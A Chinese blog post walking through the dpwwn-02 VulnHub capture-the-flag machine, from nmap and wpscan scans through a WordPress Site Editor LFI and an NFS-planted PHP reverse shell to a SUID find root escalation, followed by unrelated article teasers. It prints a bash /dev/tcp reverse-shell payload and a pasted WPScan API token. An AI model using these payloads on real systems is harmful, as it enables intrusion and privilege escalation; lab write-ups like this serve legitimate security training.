当前位置：首页 > news >正文

dpwwn02靶场

news 来源：原创 2025/5/12 18:04:15

靶机下载地址：https://download.vulnhub.com/dpwwn/dpwwn-02.zip

信息收集

ip add 查看kali Linux虚拟机的IP为：10.10.10.128

https://vulnhub.com/entry/dpwwn-2,343/中查看靶机的信息，IP固定为10.10.10.10

所以kali Linux添加仅主机网卡设置网段为10.10.10.0/24，靶机也设置网卡为仅主机，同样的网段

虽然已知了靶机的IP为10.10.10.10，但是可以使用命令进行扫描：

netdiscover -i eth1 -r 10.10.10.0/24

netdiscover -i eth1 -r 10.10.10.0/24 是一条用来扫描局域网内活动设备的命令，具体解释如下：netdiscover：这是一个网络发现工具，用于扫描本地网络中的活跃设备，显示其 IP 地址和 MAC 地址。它是通过 ARP 请求来发现设备的。-i eth1：指定要使用的网络接口，这里是 eth1，通常指的是系统中的第二个以太网接口。如果你要在其他接口上扫描网络，应该相应地替换为正确的接口名（例如 eth0 或 wlan0）。-r 10.10.10.0/24：指定扫描的 IP 地址范围。10.10.10.0/24 表示扫描 10.10.10.0 到 10.10.10.255 这个网段内的所有 IP 地址，即该子网内的所有设备。

扫描其开放的端口和服务

nmap -sS -sV -A -T4 -p- 10.10.10.10

nmap -sS -sV -A -T4 -p- 10.10.10.10 是一条复杂的 nmap 扫描命令，包含多个选项，用于对目标 IP 地址 10.10.10.10 进行详细的扫描。下面是每个选项的解释：1. -sS（TCP SYN Scan）
这是一个 SYN 扫描，也叫 半开放扫描。nmap 会发送一个 SYN 包来初始化 TCP 连接，然后根据目标主机的响应来判断端口的开放状态。
如果目标返回 SYN-ACK，端口开放；如果返回 RST，端口关闭。
这种扫描方式不会完全建立连接，因此较难被检测到。
2. -sV（Service Version Detection）
启用 服务版本检测，即除了扫描开放端口外，nmap 还会尝试检测这些端口上运行的服务和软件的版本信息。这可以帮助你了解目标主机上运行的具体服务类型（例如：HTTP 服务器、FTP 服务器等）及其版本。
3. -A（Aggressive Scan）
这是一个 激进扫描，它会启用多个高级功能，包括：
操作系统检测：检测目标主机运行的操作系统。
版本检测：类似于 -sV，进一步检查服务的版本。
脚本扫描：执行一些 NSE（Nmap Scripting Engine）脚本，用于发现常见的漏洞或提供额外的信息。
Traceroute：追踪到目标主机的网络路径。
总体上，-A 提供了一个详细且全面的扫描，但也会更加容易被目标检测到。
4. -T4（Timing Template）
设置 扫描的速度和精确度。-T4 表示使用一个相对较快的扫描速度，但不至于太快以至于丢失大量数据。它通常用于在较短时间内完成扫描，但会增加目标检测到扫描的概率。
-T0：最慢、最隐蔽
-T5：最快、最可能被检测到
5. -p-（Scan All Ports）
该选项让 nmap 扫描目标主机的 所有 65535 个端口（从 1 到 65535）。如果没有使用 -p 指定端口，nmap 默认只扫描 1-1024 端口。
6. 10.10.10.10（目标 IP）
目标主机的 IP 地址。此命令会扫描 10.10.10.10 这个 IP 地址上的所有端口，并进行详细分析。
总结：
这条命令将对目标 IP 地址 10.10.10.10 执行以下操作：执行 TCP SYN 扫描（-sS）来检查开放的端口。
检测目标主机上运行的 服务版本（-sV）。
进行 操作系统检测、脚本扫描、版本扫描 等高级操作（-A）。
设置较高的扫描速度（-T4），使得扫描更快速但仍然保持一定的隐蔽性。
扫描 所有 65535 个端口（-p-）。

得到主要信息：

PORT      STATE SERVICE  VERSION
80/tcp    open  http     Apache httpd 2.4.38 ((Ubuntu))
|_http-title: dpwwn-02
|_http-server-header: Apache/2.4.38 (Ubuntu)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      45541/tcp   mountd
|   100005  1,2,3      46796/udp   mountd
|   100005  1,2,3      51765/tcp6  mountd
|   100005  1,2,3      58738/udp6  mountd
|   100021  1,3,4      34787/tcp   nlockmgr
|   100021  1,3,4      38633/tcp6  nlockmgr
|   100021  1,3,4      46788/udp   nlockmgr
|   100021  1,3,4      53610/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
443/tcp   open  http     Apache httpd 2.4.38 ((Ubuntu))
|_http-server-header: Apache/2.4.38 (Ubuntu)
|_http-title: dpwwn-02
2049/tcp  open  nfs      3-4 (RPC #100003)
34787/tcp open  nlockmgr 1-4 (RPC #100021)
44135/tcp open  mountd   1-3 (RPC #100005)
45541/tcp open  mountd   1-3 (RPC #100005)
50517/tcp open  mountd   1-3 (RPC #100005)

服务：

rpcbind，也叫 **portmap**，它是一个用于 **远程过程调用（RPC）** 服务的绑定工具NFS（Network File System）是一种常见的网络文件共享协议，允许在网络上的计算机之间共享文件夹和目录mountd(`44135/tcp`, `45541/tcp`, `50517/tcp`)**：目标主机运行了多个 `mountd` 服务实例，用于处理客户端的挂载请求。每个 `mountd` 服务都监听不同的端口。

遍历子目录

dirb http://10.10.10.10

得到主要访问的URL：http://10.10.10.10/wordpress/

没错得到了wordpress

使用wpscan扫描器进行扫描漏洞

wpscan -url http://10.10.10.10/wordpress

1. wpscan:
wpscan 是一个专门用于扫描和审计 WordPress 网站的工具，常用于渗透测试和安全评估。
它可以帮助检测 WordPress 网站的漏洞、已安装的插件、主题、用户信息等安全相关信息。
2. -url:
-url 参数后面跟随的是要扫描的 WordPress 网站的 URL。你提供的 URL 是 http://10.10.10.10/wordpress，这表示你要扫描的目标网站地址是 http://10.10.10.10/wordpress。
注意，如果该 URL 是一个子目录，wpscan 会从这个路径开始扫描。
3. http://10.10.10.10/wordpress:
这是目标 WordPress 网站的 URL，10.10.10.10 是目标服务器的 IP 地址，/wordpress 是 WordPress 安装所在的子目录。

出现了错误： Scan Aborted: Unable to get https://data.wpscan.org/metadata.json.sha512 (Couldn’t resolve host name)

No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

需要api-token

这里直接上https://wpscan.com/register进行注册
我这里直接提供api-token：nLhs3sSQHXVFWSVykLmtKR5wLM3dqHKUysVtwQmX2t0

执行命令：

wpscan --url http://10.10.10.10/wordpress/ --api-token nLhs3sSQHXVFWSVykLmtKR5wLM3dqHKUysVtwQmX2t0

得到漏洞：本地文件包含

 [!] Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI)

本地文件包含：

"本地文件包含"（Local File Inclusion, LFI）漏洞是常见的Web安全问题，通过它，攻击者可以利用受漏洞影响的应用程序访问服务器上的文件。这里可以直接通过发送http请求获取文件

漏洞利用

检索漏洞

根据得到的 [!] Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI)信息得到：

Site Editor应该是一个插件或是软件，1.1.1是他的版本号

直接使用命令进行检索：

searchsploit Site Editor 1.1.1

得到：

\------------------------------------------------------------------ ---------------------------------Exploit Title                                                    |  Path
------------------------------------------------------------------ ---------------------------------
Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persistent | php/webapps/25493.txt
WordPress Plugin Site Editor 1.1.1 - Local File Inclusion         | php/webapps/44340.txt

继续检索：

**searchsploit -m php/webapps/44340.txt **

cat 44340.txt

发现Poc

查看文本文件得到：

** Proof of Concept **
http:///wp-content/plugins/siteeditor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?
ajax_path=/etc/passwd

PoC（Proof of Concept）是漏洞利用的“概念验证”，用于展示漏洞是否存在以及如何利用它。它通常是一个简化的例子，表明漏洞的有效性

这里的漏洞是本地文件包含漏洞，我们可以根据得到的Poc进行发送http请求，得到我们想要的信息

利用Poc

curl http://10.10.10.10/wordpress/wp-content/plugins/siteeditor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

这样就可以成功访问到/etc/passwd文件！由于之前我们看到了NFS服务，我们可以在dpwwn的家目录下面写文件，然后进行包含

查看靶机共享文件夹的路径

showmount --exports 10.10.10.10

挂载共享文件夹到kali

mkdir dpwwn02

mount -t nfs 10.10.10.10:/home/dpwwn02 --target dpwwn02

mount：这是挂载命令，用于将文件系统连接到本地的挂载点。-t nfs：指定文件系统的类型为 NFS（网络文件系统）。NFS允许通过网络访问远程文件系统。10.10.10.10:/home/dpwwn02：10.10.10.10 是远程服务器的IP地址。
/home/dpwwn02 是在该远程服务器上导出的NFS共享目录。
--target dpwwn02：--target 参数（等效于旧的 -o 或直接写挂载点）指定本地系统上的挂载点。
dpwwn02 是本地路径，表示将远程目录挂载到本地目录名为 dpwwn02 的地方（例如 /mnt/dpwwn02 或当前工作目录中的 dpwwn02）。

显示文件系统的磁盘使用情况

挂载点dpwwn02上创建shell.php文件

<?php exec('/bin/bash -c "bash -i >& /dev/tcp/10.10.10.128/4444 0>&1"');?>

获得shell

开启监听

nc -lvp 4444

使用curl发送http请求，获取响应，反弹shell

curl http:/10.10.10.10/wordpress/wp-content/plugins/siteeditor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?
ajax_path=/home/dpwwn02/shell.php

成功收到shell~ 权限是www-data权限

whoami

pwd

权限提升

检查特殊权限

find / -perm -u=s -type f 2>/dev/null

find /:
find 命令从指定目录开始查找，这里是根目录 /，表示从整个文件系统中查找文件。-perm -u=s:
查找设置了 SUID 位的文件。SUID（Set User ID） 是一种特殊权限，允许普通用户以文件所有者的权限运行该程序。例如，passwd 命令就需要以超级用户权限修改系统的 /etc/shadow 文件。
-type f:
仅查找文件类型为普通文件（f 表示 file）。2>/dev/null:
将错误输出（如权限不足导致的错误）重定向到 /dev/null，即忽略错误消息，避免在查找过程中打印大量不必要的权限错误信息。

发现了重要信息：

find设置了suid

shell升级

find . -exec /bin/sh -p ; -quit

find .：表示从当前目录 . 开始搜索文件或目录。
实际上，这里并不需要找到具体的文件，因为目标是利用 find 的执行功能。
-exec /bin/sh -p \;：-exec：find 的参数，用于执行指定命令。
/bin/sh：启动一个 shell，这里选择了 sh。
-p：这个参数让 sh 保留调用者的 SUID 权限。如果 find 被设置了 SUID 且以 root 所有者身份运行，则这个 shell 将以 root 权限启动。
\;：是 find 的语法，用于标记 -exec 命令的结束。
-quit：一旦找到一个结果，find 将立即退出。
在这种情况下，-quit 提高了效率，因为目标是直接启动特权 shell，而不是遍历所有文件。

拿到root权限了

whoami

pwd

确认是root权限了

获得flag

cd /root

cat dpwwn-02-FLAG.txt

Congratulation! You PWN this dpwwn-02. Hope you enjoy this boot to root CTF.
Thank you. 46617323 
24337873 
4b4d6f6f 
72643234 
40323564 
4e443462 
36312a23 
26724a6d

dpwwn02靶场

靶机下载地址：https://download.vulnhub.com/dpwwn/dpwwn-02.zip 信息收集 ip add 查看kali Linux虚拟机的IP为：10.10.10.128 https://vulnhub.com/entry/dpwwn-2,343/中查看靶机的信息，IP固定为10.10.10.10 所以kali Linux添加仅主机网卡…...

编程日记 2025/5/12 18:04:15

展示和添加篮球队信息--laravel与elementplus

之前使用laravel与inertia来做过一样的功能，感觉不满意，因此再结合elementplus重做一遍，先展示下重做后的效果。重写后的代码相比之下比较优雅。球队首页球队添加页球员首页很明显的改变，我新增了侧栏菜单来控制局部模块（这里是指NBABasketba…...

编程日记 2025/5/6 2:54:46

K8S疑难概念理解——Pod,应该以哪种Kind来部署应用，为什么不直接Pod这种kind?

文章目录一、Pod概念深度理解，为什么一般不直接以kindPod资源类型来部署应用?二、究竟应该以哪种资源类型来部署应用一、Pod概念深度理解，为什么一般不直接以kindPod资源类型来部署应用? Pod是Kubernetes中的最小部署单元，可以包含一个或…...

编程日记 2025/5/6 10:01:14

centos7怎么安装keepalive+nginx

在CentOS 7上安装Keepalived和Nginx，可以按照以下步骤进行： 安装Nginx 添加Nginx到Yum源： rpm -Uvh http://nginx.org/packages/centos/7/noarch/RPMS/nginx-release-centos-7-0.el7.ngx.noarch.rpm安装Nginx： yum install -y ng…...

编程日记 2025/5/6 10:27:58

DevOps工程技术价值流：Jenkins驱动的持续集成与交付实践

一、Jenkins系统概述 Jenkins：开源CI/CD引擎的佼佼者 Jenkins，作为一款基于Java的开源持续集成（CI）与持续交付（CD）系统，凭借其强大的插件生态系统，成为DevOps实践中不可或缺的核心…...

编程日记 2025/5/12 3:51:16

el-select 修改样式

这样漂亮的页面，搭配的却是一个白色风格的下拉框 ，这也过于刺眼。。。调整后样式为： 灯红酒绿总有人看着眼杂，但将风格统一终究是上上选择。下面来处理这个问题。分为两部分。第一部分：是修改触发框的样式第二部…...

编程日记 2025/5/12 17:53:25

文本内容处理命令和正则表达式

文本内容处理命令 grep 用来过滤文本内容，以匹配要查询的结果。 -m 数字匹配几次后停止： grep -m 1 /root/etc/passwd #查找包含root的行 -v 取反 -i 忽略字符的大小写，默认的，可以不加 -n 显示匹配的行号 -c 统计匹配的…...

编程日记 2025/4/30 6:51:24

【PlantUML系列】类图（一）

目录一、类二、接口三、抽象类四、泛型类五、类之间的关系六、添加注释七、包图八、皮肤参数一、类使用class关键字定义类，类名后跟大括号，声明类的属性和方法。属性：格式为{visibility} attributeName : AttributeType…...

编程日记 2025/5/12 17:55:50

【Leetcode Top 100】21. 合并两个有序链表

问题背景将两个升序链表合并为一个新的升序链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。数据约束两个链表的节点数目范围是 [ 0 , 50 ] [0, 50] [0,50] − 100 ≤ N o d e . v a l ≤ 100 -100 \le Node.val \le 100 −100≤Node.val≤100 l 1 l_1 …...

编程日记 2025/5/12 17:37:15

【真正离线安装】Adobe Flash Player 32.0.0.156 插件离线安装包下载（无需联网安装）

网上很多人声称并提供的flash离线安装包是需要联网才能安装成功的，其实就是在线安装包，而这里提供的是真正的离线安装包，无需联网即可安装成功。点击下面地址下载离线安装包： Adobe Flash Player 32.0.0.156 for IE Adobe Fla…...

编程日记 2025/5/7 15:08:30

UG NX二次开发(C#)-如何进行NX多版本的编译

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档文章目录 1、前言2、以删除对象为例3、解决方案1、前言由于UG NX的版本不同，新版本与旧版本开发过程中，如果是在一个工程中，其会出现低版本不能编译高版本NX的问题，这是因为高版本会引入新的函数，或者…...

编程日记 2025/5/4 22:03:03

Spark优化--开发调优、资源调优、数据倾斜调优和shuffle调优等

针对Spark优化，我们可以从多个角度进行，包括开发调优、资源调优、数据倾斜调优和shuffle调优等。以下是一些具体的优化方法： 1. 开发调优避免创建重复的RDD：对于同一份数据，只应该创建一个RDD，避免创建多…...

编程日记 2025/4/29 14:46:45

911事件反思：灾难通信和ddos之间的取舍

流量分析与监控建立基线流量模型：在正常情况下监控和记录网络流量，建立正常流量的基线。这样，当突发请求发生时，可以更容易地识别出流量的异常变化。实时流量监控：使用流量分析工具实时监控网络流量，快速…...

编程日记 2025/5/10 8:49:51

网络安全之IP伪造

眼下非常多站点的涉及存在一些安全漏洞，黑客easy使用ip伪造、session劫持、xss攻击、session注入等手段危害站点安全。在纪录片《互联网之子》（建议搞IT的都要看下）中。亚伦斯沃茨（真实人物，神一般的存在）涉…...

编程日记 2025/5/12 17:47:21

思路： 本题最简单的就是通过递归的形式去实现 class Solution {public ListNode swapPairs(ListNode head) {if(head null || head.next null){return head;}ListNode next head.next;head.next swapPairs(next.next);next.next head;return next;} } 对于链…...

编程日记 2025/5/11 3:02:29

Shell脚本小练习

学习了这么长时间Shell脚本，总得来一次小小的练习吧，那么请看下文！ 1.用Shell写一个小计算器。通过read命令获取用户输入的表达式，表达式的格式设定为操作数1 运算符操作数2，例如53，然后利用设计的脚本…...

编程日记 2025/5/12 10:20:14

Fastify装饰器：增强你的路由处理功能加入日志

Fastify以其出色的性能和扩展性脱颖而出。装饰器是Fastify提供的一个强大功能，它允许开发者在不修改核心代码的情况下，向请求（Request）和响应（Response）对象添加自定义属性和方法。本文将通过一个简单的示例…...

编程日记 2025/5/4 11:51:56

node.js基础学习-url模块-url地址处理（二）

前言前面我们创建了一个HTTP服务器，如果只是简单的http://localhost:3000/about这种链接我们是可以处理的，但是实际运用中一般链接都会带参数，这样的话如果我们只是简单的判断链接来分配数据，就会报404找不到链接。为了解决这个问…...

编程日记 2025/5/12 18:02:53

Vue如何加载十万条数据

加载十万条数据到 Vue 应用中是一个相对复杂的问题，主要因为渲染大量数据可能会导致性能瓶颈，尤其是在前端性能较低的设备上。为了确保加载大量数据时，页面不会卡顿或崩溃，我们通常采取一些优化手段，以下是几种常用的方…...

编程日记 2025/5/12 12:53:37

重生之我在异世界学编程之C语言：二维数组篇

大家好，这里是小编的博客频道小编的博客：就爱学编程很高兴在CSDN这个大家庭与大家相识，希望能在这里与大家共同进步，共同收获更好的自己！！！ 本文目录引言正文一二维数组的创建1. 二维数组的…...

编程日记 2025/5/11 22:35:21

linux——进程间通信及管道的应用场景

linux进程的控制-CSDN博客 liunx——进程间通信（管道通信）-CSDN博客文章目录文章目录前言二、管道的应用 1.创建子进程 1、描述： 2.创建进程及管理 3、子进程接受任务 4、控制子进程总结前言上篇博客我们学习了进程间通信&…...

编程日记 2025/5/10 13:01:08

深度学习基础3

目录 1.过拟合与欠拟合 1.1 过拟合 1.2 欠拟合 1.2 解决欠拟合 1.2.1 L2正则化 1.2.2 L1正则化 1.2.3 Dropout 1.2.4 简化模型 1.2.5 数据增强 1.2.6 早停 1.2.7 模型集成 1.2.8 交叉验证 2.批量标准化 2.1 实现过程 2.1.1 计算均值和方差 2.1.2 标准化 2.1.3…...

编程日记 2025/5/11 4:06:00

靶机dpwwn-01

靶机下载地址：https://download.vulnhub.com/dpwwn/dpwwn-01.zip 信息收集扫描靶机的IP地址 arp-scan -l 获得靶机的IP地址：192.168.200.130 查看靶机的服务类型，端口信息 nmap -sS -sV -T4 -A -p- 192.168.200.130 开启了22&#xf…...

编程日记 2025/5/11 17:57:45

Python毕业设计选题：基于django+vue的智慧社区可视化平台的设计与实现+spider

开发语言：Python框架：djangoPython版本：python3.7.7数据库：mysql 5.7数据库工具：Navicat11开发软件：PyCharm 系统展示管理员登录管理员功能界面养老机构管理业主管理社区安防管理社区设施管理车位…...

编程日记 2025/5/12 18:00:31

大语言模型微调与 XTuner 微调实战

1 大语言模型微调 1.1 什么是微调大语言模型微调（Fine-tuning of Large Language Models）是指在预训练的大型语言模型基础上，使用特定任务的数据进一步训练模型，以使其更好地适应和执行特定任务的过程，用于使LLM&am…...

编程日记 2025/5/3 14:02:39

数据结构-查找（四）总结与对比

查找算法总结文章目录查找算法总结一、查找的基本概念二、顺序查找法适用场景三、分块查找法适用场景四、折半查找法（Binary Search）适用场景五、树型查找1. 二叉搜索树（BST）2. 平衡二叉树（AVL）3. 红黑…...

编程日记 2025/5/12 17:49:54

c++总复习

一、什么是 C 中的函数对象？它有什么特点？ 在 C 中，函数对象（Function Object）也称为仿函数（Functor），它是一个类的实例，该类重载了函数调用运算符()，使得这个…...

编程日记 2025/5/7 10:32:47

AJAX一、axios使用，url组成（协议，域名，资源路径）查询参数和化简，错误处理，请求/响应报文，状态码，接口文档，

一、AJAX是什么概念 ： AJAX是一种与服务器（后端）通信的技术二、请求库axios的基本用法 1导包 2使用 // 1. 发请求 axios({ url: 请求地址 }).then(res > { // 2.接收并使用数据 }) <body><p class"province"…...

编程日记 2025/5/11 4:20:13

Python学习笔记

MJ大神的Python课，课堂笔记 int 和float运算结果是 float除法（/）的结果是float整除（//），向下取整(floor)int 和 int 进行整除（//）,得到的结果是int 绘制一个填充色边框色 import …...

编程日记 2025/5/6 16:43:26

开源 - Ideal库 - Excel帮助类，TableHelper实现（三）

书接上回，我们今天继续讲解实现对象集合与DataTable的相互转换。 01、把表格转换为对象集合该方法是将表格的列名称作为类的属性名，将表格的行数据转为类的对象。从而实现表格转换为对象集合。同时我们约定如果类的属性设置了DescriptionAttribute特性…...

编程日记 2025/5/7 7:00:11

ceph手动部署

ceph手动部署一、节点规划主机名IP地址角色ceph01.example.com172.18.0.10/24mon、mgr、osd、mds、rgwceph02.example.com172.18.0.20/24mon、mgr、osd、mds、rgwceph03.example.com172.18.0.30/24mon、mgr、osd、mds、rgw 操作系统版本： Rocky Linux release …...

编程日记 2025/5/9 17:55:01

macOS 开发环境配置与应用开发指南

macOS 开发环境配置与应用开发指南 macOS作为苹果公司推出的操作系统，因其稳定性、优雅的用户界面和强大的开发支持，已成为开发者和创意专业人士的首选平台之一。无论是开发iOS、macOS桌面应用，还是Web应用、跨平台程序，macOS都提…...

编程日记 2025/5/8 2:56:37

自动化是语法，智能化是语义与语用

自动化与智能化可以从语言学的角度来进行类比和探讨。 1. 自动化是语法自动化可以类比为“语法”的部分，因为它关注的是操作过程的规则、结构和执行方式。语法是语言中关于词汇、句子结构和规则的系统，它提供了语言运作的框架和规范。类似地&#xff0c…...

编程日记 2025/5/8 3:44:07

基于DHCP，ACL的通信

该问题为华为的学习资料 1.首先把所有的PC机全部设置为DHCP 2.配置地址 3.ospf 4.dhcp 5.acl AR1 dhcp en interface GigabitEthernet0/0/0ip address 192.168.1.254 255.255.255.0 dhcp select global interface GigabitEthernet0/0/1ip address 10.1.12.1 255.255.255.…...

编程日记 2025/5/4 5:55:41

Unity跨平台基本原理

Unity跨平台基本原理 Unity跨平台基本原理微软的.Net是什么微软做 .Net平台的目的如何实现的.Net跨语言？总结 .Net Framework.Net Framework的体系结构CLR总结如何实现的跨平台？.Net Core.Net FrameWork 到 .Net CoreMonoMono如何实现跨平台总结如何实现…...

编程日记 2025/5/12 16:00:37

基于 Python、OpenCV 和 PyQt5 的人脸识别上课打卡系统

大家好，我是Java徐师兄，今天为大家带来的是基于 Python、OpenCV 和 PyQt5 的人脸识别上课签到系统。该系统采用 Python 语言开发，开发过程中采用了OpenCV框架，Sqlite db 作为数据库，系统功能完善 ，实用性强…...

编程日记 2025/5/12 1:59:14

IDEA的简易安装思路

IDEA(本身就是Java开发的)：是目前为止开发Java效率最高的工具，但正版收费……（eclipse的话不好说，反正还是随主流吧） 使用IDEA的前提：必须先安装JDK【否则直接使用IDEA工具来运行程序是无效的，它…...

编程日记 2025/5/6 21:26:16

【实战】在Koa.js中实现文件上传的接口（本地存储）

目录环境准备使用 koa-body 中间件获取上传的文件使用 Postman 测试使用 koa-static 中间件生成图片链接编写前端页面上传文件文件上传是一个基本的功能，每个系统几乎都会有，比如上传图片、上传Excel等。那么在Node Koa应用中如何实现一个支持…...

编程日记 2025/5/7 2:51:23

flink学习（10）——allowedLateness/测道输出

allowedLateness(lateness: Time) 水印：短期延迟，达到条件后触发计算并且关闭窗口（触发关闭同时进行） 水印allowedLateness : 短期延迟等待长期延迟效果 1、达到水印条件后，会触发窗口计算，但是不关闭窗口…...

编程日记 2025/5/7 15:40:33

微信小程序按字母顺序渲染城市功能实现详细讲解

在微信小程序功能搭建中，按字母渲染城市会用到多个ES6的方法，如reduce，map，Object.entries()，Object.keys() ，需要组合熟练掌握，才能优雅的处理数据完成渲染。目录一、数据分析二、数据处理 …...

编程日记 2025/5/11 22:06:00

openjdk17 jvm 对象内存溢出在C++源码体现

##java大对象类 public class MiBigObject {private String f1;private String f2;private String f3;private String f4;private String f5;private String f6;private String f7;private String f8;private String f9;private String f10;private String f11;private String…...

编程日记 2025/4/29 22:00:08